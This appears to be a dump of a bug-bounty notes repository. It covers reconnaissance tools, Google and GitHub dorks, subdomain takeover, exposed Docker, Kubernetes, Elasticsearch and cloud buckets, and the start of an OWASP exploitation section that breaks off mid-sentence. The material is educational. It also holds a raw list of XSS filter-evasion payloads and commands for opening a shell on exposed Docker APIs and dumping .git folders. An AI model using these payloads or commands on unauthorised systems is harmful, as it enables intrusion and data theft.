have the subdomain test.starbcuks.com and the words dev, stage, and production we could come up with several possible subdomains. We would have dev-test.starbucks.com, dev.test.starbucks.com, production-test.starbucks.com, andso on. 52 | - All this can be done automatically with altdns: 53 | - [Altdns](https://github.com/infosec-au/altdns) 54 | - Using altdns we can pass in a list of found subdomains and a list of words and the tool will output a huge list of permutations. The tool can also resolve eachnewly found subdomain to see if they are live: 55 | ``` 56 | altdns -i found_subdomains.txt -o permutation_output -w words.txt -r -s resolved_output.txt 57 | ``` 58 | 59 | - Other Tools: There are a lot of other techniques and resources that people can use to find subdomains. 60 | - Virus Total 61 | - Netcraft 62 | - DNSdumpster 63 | - Threat crowed 64 | - Shodan 65 | - Cencys 66 | - DNSdb 67 | - Pastebin 68 | 69 | #### 2.7 Tools 70 | 1. Amass: 71 | - https://github.com/OWASP/Amass 72 | - Amass will utilize a bunch of online resources to find subdomains. Most of these are third party vendors which they scrape or utilize their API to pull a listsubdomains. 73 | 2. Knock.py: 74 | - https://github.com/guelfoweb/knock 75 | - it shows the response status and the technology stack. This is very useful for quickly understanding each subdomain. 76 | 77 | 78 | 79 | ## 3. DNS Resolutions 80 | - During the subdomain enumeration process, you should have generated a large list subdomains. In order to start probing these endpoints you need to know which ones are live. 81 | - To do this we can perform a DNS lookup against a domain to see if it contains an A record. 82 | - [Massdns](https://github.com/blechschmidt/massdns): The tool is written in C and requires us to build it before we can use it. 83 | 84 | 85 | 86 | ## 4. Screen Shot 87 | - When you’re dealing with thousands of targets it is much easier to scroll through a bunch of screenshots than visiting each site manually. Just by looking at a screen shot you can determine several things such as its technology, is it old, does it look interesting, is there login functionality, and much more. 88 | - [Eyewitness](https://github.com/FortyNorthSecurity/EyeWitness): It attempts to take a screenshot of each domain in the list that was passed to the tool. Once the tool is finished you can scroll through each of the screen shots to find interesting endpoints. 89 | 90 | 91 | 92 | ## 5. Content Discovery 93 | - Content discovery is a vital process in the reconnaissance phase. Failing to perform this phase properly will result in lots of missed vulnerabilities. The main purpose behind content discovery is to find endpoints on a target domain. 94 | - You are looking for things such as log files, config files, interesting technologies or applications, and anything else that is hosted on the website. 95 |  96 | 97 | #### 5.1 Self Crawl 98 | - One of the best ways to find endpoints on a target is to crawl the application. Crawling a website involves recursively visiting each link and saving each link on a web page recursively. 99 | - Tool: [Crawler](https://github.com/ghostlulzhacks/crawler/tree/master). 100 | 101 | #### 5.2 Wayback Machine Crawl Data 102 | - The Wayback Machine is an archive of the entire internet. Basically, they go to every website and they crawl it while taking screenshots and logging the data to a database. 103 | - interesting filters include: 104 | - .zip 105 | - .config 106 | - /admin/ 107 | - /api/ 108 | - Once you get the data start looking for interesting files and GET parameters that might be vulnerable. 109 | 110 | 111 | #### 5.3 Common Crawl Data 112 | - like the Wayback Machine this data is publicly available and 113 | we can use it to get a list of endpoints on a site passively. 114 | - http://commoncrawl.org/ 115 | - The following script can be used to query the data provided by common crawl: 116 | - https://github.com/ghostlulzhacks/commoncrawl 117 | 118 | #### 5.4 Directory Brute Force 119 | - Depending on your wordlists you can find all kinds of interesting endpoints like backup files, core dumps, config files, and a whole lot more. 120 | - Tool: [GoBuster](https://github.com/OJ/gobuster) 121 | 122 | 123 | 124 | ## 6. Inspecting JS Files 125 | There are interesting things in JavaScript files such as AWS keys, S3 bucket endpoints, API keys, and much more. 126 | 127 | #### 6.1 Link Finder 128 | - Linkfinder is one of the best tools for parsing endpoints from JavaScript files. The tool works by using jsbeautifier with a list of regexes to find URLs. 129 | - [LinkFinder Tool](https://github.com/GerbenJavado/LinkFinder) 130 | #### 6.2 JSearch 131 | - Jssearch is another JavaScript parser except this tool primarily used to find sensitive or interesting strings. 132 | - For instance, developers will sometimes hard code API keys, AWS credentials, and other sensitive information in JavaScript files. This information can easily be parsed out with the use of regexes. 133 | - [JSearch Tool](https://github.com/incogbyte/jsearch) 134 | 135 | 136 | 137 | ## 7. Google Dorks 138 | - A huge list of interesting dorks can be found on the exploit-db 139 | website. 140 | - https://www.exploit-db.com/google-hacking-database 141 | 142 | #### 7.1 Dork Basics 143 | - Dorks work on the vast majority of search engines such as Bing, AOL, and yahoo. Depending on how thorough you want to be you may wish to utilize the results of multiple search engines. 144 | - site: domainName 145 | - “inurl:” and “intitle:” 146 | - https://gbhackers.com/latest-google-dorks-list/ 147 | 148 | #### 7.2 Third Party Vendors 149 | - Organizations utilize sites such as Trello, Pastebin, GitHub, Jira, and more in their daily operations. Using Google dorks, you can find these endpoints and search for sensitive information. 150 | - There have been several instances where I have found credentials stored on a public Trello board. A typical dork when looking for third party vendors looks like: 151 | - site: ThirdPartyVendor CompanyName 152 | 153 | #### 7.3 Content 154 |  155 |  156 |  157 |  158 | 159 | #### Conclusion 160 | Google dorks can be used to find anything and everything about your target.Google dorks have been around for a long time and they don’t seem to be going away anytime soon. There are some people who solely rely on google dorks to find their vulnerabilities. 161 | Exploit-db has a huge list of dorks that can be used to 162 | find sensitive or vulnerable endpoints. Although exploit-db contains many interesting dorks I often find myself searching for third party vendors for interesting information. 163 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |  2 | Bug Hunting 3 | A Collection of Notes, Methodologies, POCs, Tools and everything else related to Bug Hunting. :v: 4 | 5 | 6 | 7 | 8 | 9 | 10 |   11 |  12 | 13 | 14 | 15 | 16 | 17 | :point\_right: A Bug Bounty Program is a deal offered by several Oragnizations & Individuals by which recognition and compensation is provided to individuals for reporting Bugs. 18 | 19 | You can Fork this Repo, I'm continuously adding the content! 20 | 21 | ## Contents 22 | :point\_right: The repo is organized in following manner. You can read the notes: 23 | 1. [Reconnaissance - Phase 1](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance-%20Phase1.md) 24 | 1. [CIDR Range](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance-%20Phase1.md#1-cidr-range) 25 | 2. [Google Dorking](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Reconnaissance-%20Phase1.md#2-google-dorking) 26 | 3. [Tools](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Reconnaissance-%20Phase1.md#3-tools---amass) 27 | 2. [Reconnaissance - Phase 2](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md) 28 | 1. [Wordlists](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#1-wordlists) 29 | 2. [Subdomain Enumeration](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#2-subdomain-enumeration) 30 | 1. [Certification Transparency Logs](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#21-certification-transparency-logs) 31 | 2. [Search Engine](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#22-search-engine) 32 | 3. [Github](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#24-github) 33 | 4. [Brute Force](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#25-brute-force) 34 | 5. [Subdomain Permutation](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#26-subdomain-permutation) 35 | 6. [Tools](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#27-tools) 36 | 3. [DNS Resolutions](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#3-dns-resolutions) 37 | 4. [Screenshot](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#4-screen-shot) 38 | 5. [Content Discovery](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#5-content-discovery) 39 | 6. [Inspecting JS Files](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#6-inspecting-js-files) 40 | 7. [Google Dorks](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#7-google-dorks) 41 | 8. [Conclusion](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#conclusion) 42 | 3. [Fingerprinting](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md) 43 | 1. [IP](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#1-ip) 44 | 2. [Web-Application](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#2-web-applications) 45 | 1. [Wapalyzer](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#22-wappalyzer) 46 | 2. [Firewall](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#23-firewall) 47 | 3. [Conclusion](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#conclusion) 48 | 4. [Exploitation - Part 1](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md) 49 | 1. [Subdomain Takeover](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#1-subdomain-takeover) 50 | 2. [Github](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#2-github) 51 | 3. [Misconfigured Cloud Storage Buckets](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#3-misconfigured-cloud-storage-buckets) 52 | 4. [Elastic Search DB](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#4-elastic-search-db) 53 | 5. [Docker API](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#5-docker-api) 54 | 6. [Kuberneter API](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#6-kubernetes-api) 55 | 7. [.git/.svn](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#7-git--svn) 56 | 8. [Google Firebase](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#8-google-firebase-updated) 57 | 5. [Exploitation - Part 2](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md) 58 | 1. [Exploiting CMS](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#1exploiting-cms) 59 | 2. [Exploiting OWASP](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#2-eploitation-owasp) 60 | 1. [XML Extended Entity (XXE)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#21-xml-external-entity-xxe) 61 | 2. [Cross Site Scripting (XXS)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#22-cross-site-scripting-xss) 62 | 3. [Server-Side Request Forgery (SSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#23-ssrf) 63 | 4. [Cross Side Request Forgery (CSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#24-cross-site-request-forgery-csrf) 64 | 5. [SQL Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#25-sql-injection) 65 | 6. [Command Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#26-command-injection) 66 | 7. [Cross Site Web Socket Hijacking (CSWSH)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#27-cross-site-web-socket-hijacking-cswsh) 67 | 8. [File Upload](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#28-file-upload-updated) 68 | 9. [Directory Traversal](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#29-directory-traversal-updated) 69 | 10. [Open Redirect](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#210-open-redirect-updated) 70 | 11. [Insecure Direct Object Reference ](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#211-insecure-direct-object-reference-idor-updated) 71 | 6. [Methodology - Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md) 72 | 1. [Traditional Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#1-traditional-workflow) 73 | 2. [Github Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#2-github-workflow) 74 | 3. [Cloud Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#3-cloud-workflow) 75 | 4. [Google Dork Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#4-google-dork--workflow) 76 | 5. [Leaked Credentials Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#5-leaked-credentials-workflow) 77 | 6. [Exploit Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#6-exploit-workflows) 78 | 7. [API-Pentesting](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md) 79 | 1. [APIs](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md#1-apis) 80 | 2. [Authentication](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md#2-authentication) 81 | 8. [Caching Servers](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md) 82 | 1. [Web Cache Poisoning](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md#1-web-cache-poisoning) 83 | 2. [Web Cache Deception](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md#2-web-cache-deception) 84 | 9. [Miscellaneous](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md) 85 | 1. [On Site Request Forgery (OSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#1-on-site-request-forgery-osrf) 86 | 2. [Prototype Pollution](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#2-prototype-pollution) 87 | 3. [Client Side Template Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#3-client-side-template-injection) 88 | 4. [XML External Entity](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#4-xml-external-entity-xxe) 89 | 5. [Content Security Policy Bypass](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#5-content-security-policy-bypass) 90 | 6. [Relative Path Overwrite](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#6-relative-path-overwrite-rpo) 91 | 92 | ## Bug-Hunting Platforms 93 | Following are some of the top Bug-Hunting Platforms. You can make your account and start hunting bugs for the programs available. 94 | - [Hackerone](https://www.hackerone.com/) 95 | - [Bugcrowd](https://bugcrowd.com/) 96 | - [Intigriti](https://www.intigriti.com/) 97 | - Responsible Disclosures [(Use Google Dorks To Find Programs)](https://github.com/sushiwushi/bug-bounty-dorks/blob/master/dorks.txt) 98 | 99 | Note: This Repo is under development, Only Notes have been added till now. Separate Section for Tools, POCs and Tricks will be created soon 100 | ### ➡️ Contributions 101 | You are Welcome to Contribute. You can contribute by: 102 | - Translating into other languages 103 | - Adding more Methodologies, Tools, and other Resources. 104 | - Just adding a star to our Github project :) 105 | 106 | :point\_right: If you have some new idea about this Repository, issue, feedback or found some valuable tool feel free to open an issue or just DM me via [@IamLucif3r_](https://twitter.com/IamLucif3r_) 107 | -------------------------------------------------------------------------------- /Notes/Exploitation Phase 1.md: -------------------------------------------------------------------------------- 1 | # Exploitation Phase - [Part-1] 2 | - When searching for vulnerabilities I always start out looking for low hanging fruit. 3 | ## 1. Subdomain Takeover 4 | ### 1.1 Intro 5 | - Searching for subdomain takeovers is one of the easiest vulnerabilities you can find and it normally pays fairly well. 6 | - A subdomain takeover occurs when a domain is pointing to another domain (CNAME) that no longer exists. 7 | - If an attacker were to register that non existing domain then the targets subdomain would now point to your domain effectively giving you full control over the target’s subdomain. 8 | 9 | ### 1.2 Subdomain Takeover 10 | - You should be searching for subdomain takeovers on a daily basis. Just because you checked your target yesterday doesn't mean they are safe today. 11 | - Before you can check for subdomain takeover you need to get a list of your target’s subdomains, this should have been done during the recon phase 12 | - Once you have a list of subdomains checking for this vulnerability should only take about 5 minutes with the following tool: 13 | - https://github.com/haccer/subjack 14 | ```bash 15 | ./subjack -w -o results.txt -ssl -c fingerprints.json 16 | ``` 17 | 18 | - The next step is to see where this domain is pointing to so we can try to take it over 19 | ```bash 20 | dig 21 | ``` 22 | 23 | --- 24 | ### 1.2.1 [Updated] Subdomain Takeover 25 | - What makes this vulnerability so interesting is that you can be safe one minute and a single DNS change can make you vulnerable the next minute. 26 |  27 | - The vulnerability here is that the target subdomain points to a domain that does not exist. An attacker can then register the non existing domain. Now the target subdomain will point to a domain the attacker controls. 28 |  29 | - You can take reference of the following Github Page if going for subdomain Takeover: 30 | - https://github.com/EdOverflow/can-i-take-over-xyz 31 | ### Github Takeover 32 | - One of the easiest ways to spot a subdomain takeover vulnerability is by the error message it throws as shown below: 33 |  34 | - you can follow the tutorial in the subdomain takeover github page as shown below: 35 |  36 | --- 37 | ### 1.3 Conclusion 38 | - Subdomain takeover is one of the easiest high impact vulnerabilities you can search for. As long as you have a list of subdomains checking for this vulnerability is a matter of running a command. Administrators are constantly changing DNS setting so a company may be safe one day and vulnerable the next because of this it’s a good idea to constantly check for this vulnerability. 39 | - --- 40 | 41 | ## 2. Github 42 | - When performing your initial recon on an organization don’t forget about GitHub. GitHub is used by developers to maintain and share their code, most of the time they end up sharing much more though. 43 | 44 | ### 2.1 Github Dorks 45 | - GitHub dorks are basically the same thing as google dorks. A dork is used to find specific information in a sea of information. It helps us narrow down the search to exactly what we want. 46 | - This can be very handy when searching for sensitive files, API keys, passwords, and a lot more. 47 | - We can use dorks to find sensitive files that developers might have accidentally uploaded. 48 | - filename:.bash_history DOMAIN-NAME 49 | - A good list of these dorks can be found below: 50 | - https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt 51 | 52 | ### 2.2 Company Github 53 | - Instead of using GitHub dorks to find exposures you might want to go directly to the source. To do this you must find the companies GitHub page and from there you can locate all their developers and monitor their accounts. 54 | - Once you find a company's page you want to get a list of people that are associated with the company. This can be done by clicking on the “people” tab. 55 | - Now you will need to manually go through each one and look for exposures. 56 | - You should be looking for URLs, api keys, usernames, paswords, vulnerabilities, and anything else that could provide value. 57 | 58 | 59 | 60 | ## 3. Misconfigured Cloud Storage Buckets 61 | - Today companies are moving their infrastructure to the cloud as it is more convenient to ent resources from third parties. However, cloud services can be tricky to set up roperly if you don’t know what you’re doing thus people mess things up and introduce vulnerabilities into their environment. 62 | - One of the most popular vulnerabilities is finding an exposed cloud storage bucket. These buckets are used to store files so depending on what's in the bucket you might have access to sensitive information. 63 | 64 | ### 3.1 AWS S3 Bucket 65 | - Amazon Web Services (AWS) is by far the most popular cloud service provider out there. The vast majority of cloud instances you come across will be hosted on this provider. 66 | 67 | #### 3.1.1 Bucket Dorks 68 | - google dork can be used to find buckets belonging to a company: 69 | - site:.s3.amazonaws.com "Starbucks" 70 | 71 | #### 3.1.2 S3 Bucket Brute force 72 | - There are way too many S3 bucket brute force tools: 73 | - https://github.com/ghostlulzhacks/s3brute 74 | ```Bash 75 | python amazon-s3-enum.py -w BucketNames.txt -d 76 | ``` 77 | - If you go to the vulnerable endpoint you should be able to list all files in the bucket. You should be looking for sensitive files such as backup files, zip files, user data, and any other PII information 78 | 79 | ### 3.2 Google Cloud Storage 80 | - The following tool can be used to brute force these bucket names. Similar to by AWS tool it uses permutations to generate bucket names. 81 | - https://github.com/RhinoSecurityLabs/GCPBucketBrute 82 | - Once you find a vulnerable endpoint visit it and search for sensitive files siilar to the AWS process. 83 | 84 | ### 3.3 Digital Ocean Spaces 85 | - If you are familiar with S3 buckets Digital ocean spaces are literally the same exact technology 86 | ```Bash 87 | site:digitaloceanspaces.com 88 | ``` 89 | - This will give you sensitive files. 90 | 91 | 92 | ## 4. Elastic Search DB 93 | - ES is a document-oriented database designed to store, retrieve, and manage document-oriented or semi-structured data. When you use Elasticsearch, you store data in JSON document form. Then, you query them for retrieval. 94 | - You have probably heard of the popular relational database called MySQL. Elastic search like MySQL is a database used to hold and query information. 95 | - However, elastic search is typically used to perform full text searches on very large datasets. 96 | - Documents are basically a json blob that hold your data as shown in the example below: 97 | {"id":1, "name":"ghostlulz", "password":"SuperSecureP@ssword"} 98 | 99 | ### 4.1 Unauthenticated Elasticsearch DB 100 | - Elastic search has an http server running on port 9200 that can be used to query the database. The major issue here is that a lot of people expose this port to the public internet without any kind of authentication. 101 | - This means anyone can query the database and extract information. A quick Shodan search will produce a tun of results as shown below: 102 |  103 | - Once you have identified that your target has port 9200 open you can easily check if it is an Elasticsearch database by hitting the root directory with a GET request. The response should look something like: 104 | 105 |  106 | 107 | 108 | 109 | ## 5. Docker API 110 | - When you install docker on a system it will expose an API on your local host located on port 2375. This API can be used to interact with the docker engine which basically gives you the right to do anything you desire unauthenticated. 111 | - Under these conditions no external party will be able to access your docker API as it isn't exposed to the world. However, in certain instances this API can be changed so that it can be accessed by external resources. 112 | - Once you have confirmed that a docker API is exposed I will generally move to the CLI version of docker. From the CLI you can execute the following command to get a list of containers that are currently being ran: 113 | ```Bash 114 | docker -H : ps 115 | ``` 116 | 117 | - We can easily pop a shell in a container by running the following command: 118 | ```bash 119 | Docker -H : exec -it /bin/bash 120 | ``` 121 | - You aren't just limited to popping a shell on their docker container, you can do other things such as deploying your own docker containers. 122 | 123 | 124 | 125 | ## 6 Kubernetes API 126 | - Kubernetes exposes an unauthenticated REST API on port 10250. If developers aren’t careful this API can be exposed to the internet. 127 | - A quick Shodan search will find a bunch of these services. 128 | -  129 | - Once a Kubernetes service is detected the first thing to do is to get a list of pods by sending a GET request to the /pods endpoint. 130 | 131 | 132 | 133 | ## 7. .git / .svn 134 | - Source code repositories like GitHub are extremely popular. A lot of people will simple copy down a git directory and throw it on their website without realizing they might have just exposed their sites source code to the world. 135 | - Git and ubversion are two of the most popular revision control systems and they contain hidden file that can cause a lot of harm if uploaded to your website. 136 | 137 | ### 7.1 Git 138 | - Git is a revision control system and it contains a hidden folder “.git” . This folder basically acts as a snapshot for your project. Every-time you create a file git will compresses it and stores it into its own data structure. 139 | - You can then recreate the repository which will contain the websites source code. To recreate the repository, you can use the following tool: 140 | - https://github.com/internetwache/GitTools/tree/master/Dumper 141 | - To use the tool type 142 | ```Bash 143 | ./gitdumper.sh https://example.com/.git/ /output-directory/ 144 | ``` 145 | - Next you manually review the source code and look for bugs, vulnerabilities, and exposed passwords. You should treat it as a source code review. 146 | 147 | ### 7.2 Subversion 148 | - Subversion like Git is a revision control system and it contains a hidden folder “.svn” . This folder can also be used to recreate the source code used on the site. 149 | - The following tool can be used to extract the files from the folder: 150 | - https://github.com/anantshri/svn-extractor 151 | - Like Git once everything is download you will manually review the source code and look for bugs, vulnerabilities, and exposed passwords. Basically, treat it as a source code review. 152 | --- 153 | ### 8. Google Firebase [Updated] 154 | - The Firebase Realtime Database is a cloud-hosted database stored as JSON and synchronized in realtime to every connected client. 155 | - Misconfigured Firebase Database 156 | - You can check if user is using Google Firebase by observing the url: 157 | - *.firebaseio.com 158 | - If the developer forgot to enable authentication the database will be exposed to the word. You can easily view the database by appending a “/.json” to the url as shown below: 159 | - vuln-domain.firebaseio.com/.json 160 | 161 | ### 9. Mongo Database [Updated] 162 | - MongoDB is a nosql database that uses JSON-like documents to store data. 163 | - If you're searching for MongoDB instances, be on the lookout for port 27017. 164 | - MongoDB doesn't have authentication enabled by default so to test for this vulnerability just try to login. 165 | ```bash 166 | mongo -ip-address-here 167 | ``` 168 | -  169 | - 170 | -------------------------------------------------------------------------------- /Payloads/XSS-Payloads-1.txt: -------------------------------------------------------------------------------- 1 | " onmouseover=alert(9205) bad=" 2 | "/>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=prompt() )//%0D%0A%0d%0a//\x3csVg/\x3e 3 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e 4 | " onclick=alert(1)// */ alert(1)// 5 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e 6 | ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> 7 | ' 8 | 9 | 10 | 11 | 12 | 13 | 14 | " onclick=alert(1)// */ alert(1)// 15 | ">>" >|\>@gmail.com'-->" >">'"> 16 | /*-->]]>%>?>'-/"/-alert(1)//>' 17 | javascript://'/-->*/alert()/* 18 | javascript://-->"/*/a 19 | javascript://"/*// 20 | javascript://-->*/alert()/* 21 | javascript://'//" -->*/alert()/* 22 | javascript://*/alert()/* 24 | -->"/*/alert()/* 25 | /*/alert()/* 26 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 27 | “ onclick=alert(1)// */ alert(1)// 28 | '">>">|\>@gmail.com'-->">">'"> 29 | 30 | 31 | 32 | Joker 33 | Joker 34 | Joker 35 | Joker 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | javascript://-->*/alert()/* 45 | <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--> 46 | '%22()%26%25<> 47 | ' onmouseover=alert(9205) bad=' 48 | "> 49 | "onresize=prompt(1)> 50 | 53 | '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E 54 | < 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /Notes/Exploitation Phase 2.md: -------------------------------------------------------------------------------- 1 | # Exploitation Phase [Part-2] 2 | ## 1.Exploiting CMS 3 | - A content management system (CMS) is a software application that can be used to manage the creation and modification of digital content 4 | 5 | ### 1.1 Wordpress 6 | - There are in fact hundreds of exploits and misconfigurations impacting WordPress and its associated plugins. One common tool to scan for these vulnerabilities is wpscan: 7 | - https://github.com/wpscanteam/wpscan 8 | - TIP: Always make sure to check “/wp-content/uploads/” . 9 | 10 | ### 1.2 Joomla 11 | - If you want to scan for vulnerabilities the most popular tool is Joomscan: 12 | - https://github.com/rezasp/joomscan 13 | ```bash 14 | perl joomscan.pl -u 15 | ``` 16 | 17 | ### 1.3 Drupal 18 | - If you find a Drupal site you want to use droopescan to scan it 19 | - https://github.com/droope/droopescan 20 | ```bash 21 | python3 droopescan scan Drupal -u -t 32 22 | ``` 23 | 24 | ### 1.4 Adobe AEM 25 | - If you want to scan an application for vulnerabilities use 26 | the tool aemhacker: 27 | - https://github.com/0ang3el/aem-hacker 28 | ```bash 29 | python aem_hacker.py -u --host 30 | ``` 31 | - Note that in order to test for the SSRF vulnerabilities you need to have a public IP that the target server can connect back to. 32 | 33 | - If you come across a CMS you haven't seen before the first step is to go to xploit db and see if it has any known CVEs: 34 | - https://www.exploit-db.com/ 35 | 36 | 37 | 38 | ## 2. Eploitation OWASP 39 | - The only tool you need is Burp Suite: 40 | - https://portswigger.net/burp 41 | 42 | ### 2.1 XML External Entity (XXE) 43 | - XML External Entity (XXE) is a vulnerability that can appear when an application parses XML 44 | - you can use external entities to grab data from a file on disk and store it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a variable? Note that in order to read the data the entity must be returned in the response. 45 | - Exploitation: 46 | - Capture the POST request in Burp. Whenever you see XML you should test for XXE : 47 | - To test for XXE simply put in your malicious external entity and replace each node value with it as shown below: 48 |  49 | - If the server doesn’t block external entities the response will be reflected. 50 |  51 | 52 | ### 2.2 Cross Site Scripting (XSS) 53 | - This vulnerability can be used to execute malicious JavaScript in a user’s web browser. This could then be used to steal users JWT tokens, CSRF tokens, and cookies. 54 | - There are three types of XSS reflected, stored, and DOM based. 55 | 1. Reflected XSS: Suppose you have an application which produces an error message when you type in the wrong user name and password. The error message could look something like this: 56 | “The email or password you entered is not valid. Please try again.” 57 | - You then notice that there is a GET parameter in the URL which has this same message: 58 | “example.com/login.php?error=The+email+or+password+you+entered+is+not valid.+Please+try+again.” 59 | - If the application doesn’t protect against XSS we could insert malicious JavaScript code into the user browser. 60 | 2. Stored XSS: 61 |  62 | - Suppose you have an application that allows you to create an account. The application also has a page which lists out all the members of the site. You could assume that the username you create is being stored in the backend database otherwise how would the application be able to retrieve this information. If youwere to put a malicious JavaScript payload as your username it would then 